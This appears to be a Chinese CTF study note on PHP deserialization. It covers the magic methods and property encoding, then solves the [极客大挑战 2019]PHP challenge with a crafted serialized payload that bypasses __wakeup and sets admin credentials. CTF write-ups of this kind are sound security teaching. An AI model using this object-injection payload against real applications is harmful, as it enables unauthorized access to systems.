序列化与发序列化
php
1.1前置知识
反序列化的对象是类与对象
1.1.1常用的一些魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct()//创建对象的时候使用
1.1.2相关函数
unserialize()
将传入字符串反序列化。
serialize()
将传入变量序列化。
与之类似于还有:json_encode
和json_decode
1.1.3序列化与反序列化
序列化是将任意类型的变量以特定的规则转换成一串字符串,可以用更少的空间保存对象里的信息,便于传输;反序列化则是根据规则还原字符串所对应的变量;
如果变量类型是protected
,则会在变量名前加上%00*%00
,private
则会在变量名前加上%00类名%00
(这里不可见字符要用url编码表示)
1.1.4格式
2.常见的绕过
[(33条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化
3.找点题
[极客大挑战 2019]PHP
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>//class.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
//index.php
index.php ,会调用class.php,以及对输入反序列化
然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00
最后payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
提交得到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。